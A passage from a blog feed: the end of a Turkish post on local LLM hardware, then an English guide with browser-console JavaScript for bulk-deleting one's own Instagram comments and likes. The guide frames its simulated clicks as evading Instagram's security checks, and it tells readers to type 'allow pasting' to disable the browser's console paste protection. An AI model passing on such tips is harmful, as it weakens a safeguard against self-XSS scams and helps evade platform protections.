&lt;li&gt;&lt;strong&gt;&lt;a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank"&gt;LM Studio&lt;/a&gt;:&lt;/strong&gt; G&amp;ouml;rsel aray&amp;uuml;z sevenler i&amp;ccedil;in en iyi se&amp;ccedil;enek. Model Ba&amp;gbreve;lam Protokol&amp;uuml; (MCP) deste&amp;gbreve;i sayesinde, yereldeki modellerin kendi yerel dosyalar&amp;inodot;m&amp;inodot;zla g&amp;uuml;venli &amp;scedil;ekilde konu&amp;scedil;mas&amp;inodot;n&amp;inodot; sa&amp;gbreve;l&amp;inodot;yor. VS Code ve LM Studio entegrasyonuyla kendi kod asistan&amp;inodot;n&amp;inodot;z&amp;inodot; s&amp;inodot;f&amp;inodot;rdan kurmak isterseniz &lt;a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Yerel AI Kurulum Rehberi (LM Studio &amp;amp; VS Code)&lt;/a&gt; yaz&amp;inodot;ma g&amp;ouml;z atabilirsiniz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/ggerganov/llama.cpp" rel="noopener noreferrer" target="_blank"&gt;llama.cpp&lt;/a&gt;:&lt;/strong&gt; Neredeyse t&amp;uuml;m yerel sistemlerin arkas&amp;inodot;ndaki motor budur. Kendi hibrit sisteminizi kuracaksan&amp;inodot;z, ekran kart&amp;inodot; belle&amp;gbreve;i ile sistem belle&amp;gbreve;i aras&amp;inodot;ndaki dengeyi y&amp;ouml;netmek i&amp;ccedil;in bu arac&amp;inodot; kullanacaks&amp;inodot;n&amp;inodot;z.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ekran kart&amp;inodot; &amp;uuml;zerinde modeli aya&amp;gbreve;a kald&amp;inodot;rmak i&amp;ccedil;in terminalde &amp;scedil;u komutu ko&amp;scedil;turman&amp;inodot;z yeterlidir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;llama4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="performansn-dibine-vurmak-icin-kucuk-hileler"&gt;Performans&amp;inodot;n Dibine Vurmak &amp;Idot;&amp;ccedil;in K&amp;uuml;&amp;ccedil;&amp;uuml;k Hileler 💡&lt;a class="headerlink" href="#performansn-dibine-vurmak-icin-kucuk-hileler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rmay&amp;inodot; (Quantization) Es Ge&amp;ccedil;meyin:&lt;/strong&gt; Modelleri s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lmam&amp;inodot;&amp;scedil; (FP16) haliyle &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmaya zorlamay&amp;inodot;n. Q4_K_M veya Q5_K_M gibi s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma formatlar&amp;inodot;nda kaybolan kaliteyi fark etmek neredeyse imkans&amp;inodot;zken, h&amp;inodot;z ve bellek tasarrufu inan&amp;inodot;lmaz seviyelere ula&amp;scedil;&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kasa &amp;Idot;&amp;ccedil;i Serinlik:&lt;/strong&gt; &amp;Ccedil;ift ekran kartl&amp;inodot; veya y&amp;uuml;ksek y&amp;uuml;k alt&amp;inodot;nda &amp;ccedil;al&amp;inodot;&amp;scedil;an sistemlerde en b&amp;uuml;y&amp;uuml;k d&amp;uuml;&amp;scedil;man&amp;inodot;n&amp;inodot;z s&amp;inodot;cakl&amp;inodot;kt&amp;inodot;r. Kartlar &amp;inodot;s&amp;inodot;nd&amp;inodot;k&amp;ccedil;a frekans k&amp;inodot;sar ve performans&amp;inodot;n&amp;inodot;z d&amp;uuml;&amp;scedil;er. O y&amp;uuml;zden bol fanl&amp;inodot;, hava ak&amp;inodot;&amp;scedil;&amp;inodot; ferah bir kasa se&amp;ccedil;in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;H&amp;inodot;zl&amp;inodot; Sistem Belle&amp;gbreve;i Se&amp;ccedil;in:&lt;/strong&gt; E&amp;gbreve;er b&amp;uuml;t&amp;ccedil;eniz k&amp;inodot;s&amp;inodot;tl&amp;inodot;ysa ve modelin bir k&amp;inodot;sm&amp;inodot;n&amp;inodot; sistem RAM'ine aktar&amp;inodot;yorsan&amp;inodot;z, DDR4 yerine y&amp;uuml;ksek h&amp;inodot;zl&amp;inodot; &lt;strong&gt;DDR5-8000&lt;/strong&gt; bellek tercih etmek saniyede &amp;uuml;retilen kelime h&amp;inodot;z&amp;inodot;n&amp;inodot; ciddi oranda art&amp;inodot;r&amp;inodot;r.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="peki-gunun-sonunda-bu-macera-parasna-deger-mi"&gt;Peki G&amp;uuml;n&amp;uuml;n Sonunda Bu Macera Paras&amp;inodot;na De&amp;gbreve;er mi?&lt;a class="headerlink" href="#peki-gunun-sonunda-bu-macera-parasna-deger-mi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Gelin ufak bir hesap yapal&amp;inodot;m.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bulut Servisleri (GPT-4o/Claude 3.5)&lt;/strong&gt;: Bireysel kullan&amp;inodot;mda ayl&amp;inodot;k API faturalar&amp;inodot; kolayca 2.000 TL ile 4.000 TL aras&amp;inodot;na ula&amp;scedil;abiliyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yerel Sistem&lt;/strong&gt;: 45.000 TL'lik bir orta seviye kurulum, kendini yakla&amp;scedil;&amp;inodot;k 12-18 ay i&amp;ccedil;inde amorti eder. &amp;Uuml;stelik elektrik faturas&amp;inodot; da eklense bile uzun vadede tamamen k&amp;acirc;rl&amp;inodot;d&amp;inodot;r.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Daha da &amp;ouml;nemlisi, buluta ba&amp;gbreve;&amp;inodot;ml&amp;inodot; olmaman&amp;inodot;n getirdi&amp;gbreve;i kafa rahatl&amp;inodot;&amp;gbreve;&amp;inodot;d&amp;inodot;r. 2026 y&amp;inodot;l&amp;inodot; Nisan ay&amp;inodot;ndaki Anthropic kesintisinde g&amp;ouml;rd&amp;uuml;&amp;gbreve;&amp;uuml;m&amp;uuml;z gibi, t&amp;uuml;m i&amp;scedil; ak&amp;inodot;&amp;scedil;&amp;inodot;n&amp;inodot; buluta ba&amp;gbreve;lamak b&amp;uuml;y&amp;uuml;k bir risk. Uzun laf&amp;inodot;n k&amp;inodot;sas&amp;inodot;, yerelde &amp;ccedil;al&amp;inodot;&amp;scedil;mak bulutun devasa i&amp;scedil;lem g&amp;uuml;c&amp;uuml;n&amp;uuml; yakalamak anlam&amp;inodot;na gelmiyor. Ancak masan&amp;inodot;z&amp;inodot;n alt&amp;inodot;nda &amp;ccedil;al&amp;inodot;&amp;scedil;an, internete ba&amp;gbreve;&amp;inodot;ml&amp;inodot; olmayan, verinizi d&amp;inodot;&amp;scedil;ar&amp;inodot; s&amp;inodot;zd&amp;inodot;rmayan ve API faturas&amp;inodot; kesmeyen bir sistem kurmak inan&amp;inodot;lmaz derecede tatmin edicidir dostum. 🚀&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;B&amp;uuml;y&amp;uuml;k dil modellerinde her kelime &amp;uuml;retildi&amp;gbreve;inde t&amp;uuml;m model a&amp;gbreve;&amp;inodot;rl&amp;inodot;klar&amp;inodot; bellekten i&amp;scedil;lemci &amp;ccedil;ekirdeklerine aktar&amp;inodot;l&amp;inodot;r. Bu y&amp;uuml;zden saniyede &amp;uuml;retilen kelime h&amp;inodot;z&amp;inodot;n&amp;inodot; do&amp;gbreve;rudan bellek h&amp;inodot;z&amp;inodot; belirler.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Intel Arc serisi kartlar&amp;inodot; yapay zekada kullanmak i&amp;ccedil;in Linux &amp;uuml;zerinde Intel'in kendi oneAPI s&amp;uuml;r&amp;uuml;c&amp;uuml;lerini kurman&amp;inodot;z gerekir. Kurulum ad&amp;inodot;mlar&amp;inodot; NVIDIA CUDA'ya g&amp;ouml;re biraz daha u&amp;gbreve;ra&amp;scedil;t&amp;inodot;r&amp;inodot;c&amp;inodot;d&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Donanım"/><category term="yapay-zeka"/><category term="llm"/><category term="gpu"/><category term="ekran-karti"/><category term="donanim"/><category term="homelab"/></entry><entry><title>Instagram Bulk Comment and Like Deletion Guide</title><link href="https://yuceltoluyag.github.io/en/instagram-toplu-yorum-ve-begeni-silme-rehberi/" rel="alternate"/><published>2026-05-31T09:30:00+03:00</published><updated>2026-05-31T09:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-31:/en/instagram-toplu-yorum-ve-begeni-silme-rehberi/</id><summary type="html">&lt;p&gt;A practical JavaScript automation guide for the browser console that bypasses the Bloks UI barrier for those who want to clean up their Instagram history.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last night, after the kids were asleep, I was sipping my coffee at my desk ☕, rummaging through old archives. My eyes landed on the code for that famous Instagram bot I wrote years ago and a demo video I captured back then &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. At that time, Instagram's total user count was only about 2 million, and thanks to my bot, it personally touched 1.9 million of them 😂. The funny part is, back then, everyone using bots was getting banned left and right, while people curiously asked me: "Dude, how are you not getting banned when everyone else is?" 😎 I had taken the bot from Selenium and brought it to a level where it could run with UI Automator on mobile devices. 📱&lt;/p&gt;
&lt;script async="" src="//www.instagram.com/embed.js"&gt;&lt;/script&gt;
&lt;p&gt;Years have passed, but Instagram's policy of tormenting users hasn't changed much. 🤦&amp;zwj;&amp;male;️ It's 2026, and on this massive platform, you can't perform any bulk actions properly; you have to delete and edit every interaction one by one. They treat us like occasional social media users with a few interactions tucked away. Trying to select and delete thousands of comments one by one in Instagram's own interface is like trying to empty the ocean with a spoon. 🥄🌊&lt;/p&gt;
&lt;p&gt;There are browser extensions online that perform this bulk deletion task, and they sell them for prices around 20 euros. 💸 But in this guide, I'm giving you JavaScript code that does the same thing, for a price slightly more than free (meaning completely free), my friend 😂.&lt;/p&gt;
&lt;p&gt;With this code, I managed to completely clean up my own account in almost 1 day. ✨ Instagram initially tried to scare me. When I used to attempt to clean my profile, it would block me for 1 day for "doing too many of the same thing," disrupting some basic account functions. 🚫 However, with this method, I've deleted tens of thousands of comments and likes without any issues so far, not even a single warning. The secret is keeping the number of items selected at once (the &lt;code&gt;MAX&lt;/code&gt; value) at a maximum of 20 for deletion and unliking operations.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="why-dont-standard-clicking-methods-work"&gt;💡 Why Don't Standard Clicking Methods Work?&lt;a class="headerlink" href="#why-dont-standard-clicking-methods-work" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Instagram uses a dynamic structure called &lt;strong&gt;Bloks&lt;/strong&gt; instead of classic HTML elements in its interface. This structure, for security reasons, ignores standard triggers like &lt;code&gt;element.click()&lt;/code&gt; directly in JavaScript.&lt;/p&gt;
&lt;p&gt;To overcome this issue, I designed a custom function called &lt;code&gt;realClick&lt;/code&gt;. This function triggers &lt;code&gt;mousedown&lt;/code&gt;, &lt;code&gt;mouseup&lt;/code&gt;, and &lt;code&gt;click&lt;/code&gt; pointer events sequentially with realistic timings to send a signal to the browser that "a human is actually clicking here." This allows us to automatically select elements without getting caught by the platform's security mechanisms.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="preparation-and-things-to-note"&gt;🛠️ Preparation and Things to Note&lt;a class="headerlink" href="#preparation-and-things-to-note" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before running the script, we need to pay attention to these critical rules:&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Language Setting Required:&lt;/strong&gt; The interface language of your Instagram account &lt;strong&gt;must&lt;/strong&gt; be &lt;strong&gt;English&lt;/strong&gt;. The scripts search for the texts "Select," "Delete," and "Unlike" in the buttons to function, so they won't find the buttons in the Turkish interface and will stop.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;It is crucial to navigate to the relevant page based on the type of interaction you want to perform. Which tab you are on determines the accuracy of these codes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Likes Page:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/likes" rel="noopener noreferrer" target="_blank"&gt;Likes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Comments Page:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/comments" rel="noopener noreferrer" target="_blank"&gt;Comments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reposts Page:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/reposts" rel="noopener noreferrer" target="_blank"&gt;Reposts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Story Replies Page:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/story_replies" rel="noopener noreferrer" target="_blank"&gt;Story Replies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reviews Page:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/reviews" rel="noopener noreferrer" target="_blank"&gt;Reviews&lt;/a&gt; &lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open the Instagram web version from your computer and log in.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Navigate to the appropriate page from the links above based on the type of interaction you want to delete.&lt;/li&gt;
&lt;li&gt;Right-click on your browser and select &lt;strong&gt;Inspect&lt;/strong&gt; or open the developer console by pressing the &lt;code&gt;F12&lt;/code&gt; key.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Console Paste Solution:&lt;/strong&gt; If your browser prevents you from pasting code into the console, type &lt;code&gt;allow pasting&lt;/code&gt; in the console line and press Enter. Then, try pasting the script again.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="1-deletion-script-for-comments-posts-story-replies-and-reviews"&gt;📝 1. Deletion Script for Comments, Posts, Story Replies, and Reviews&lt;a class="headerlink" href="#1-deletion-script-for-comments-posts-story-replies-and-reviews" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The following script is used to bulk delete your comments, reposts, story replies, and reviews. Simply copy the code, paste it into the console, and press Enter.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt; * Instagram Bulk Interaction Deletion Script&lt;/span&gt;
&lt;span class="cm"&gt; * For Comments, Reposts, Story Replies, and Reviews.&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;instagramBulkDelete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__STOP_IG_BULK_DELETE__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Keep the number of deletions per cycle low for your safety&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MAX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CYCLE_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Delay between cycles (ms)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ICON_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;700&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DELETE_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Simulate a real click&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"center"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"mousedown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mouseup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"click"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dispatchEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MouseEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;bubbles&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;cancelable&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;buttons&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findSelectButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s1"&gt;'div[data-bloks-name="bk.components.Flexbox"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Select"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;activateSelectMode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findSelectButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Select button not found."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
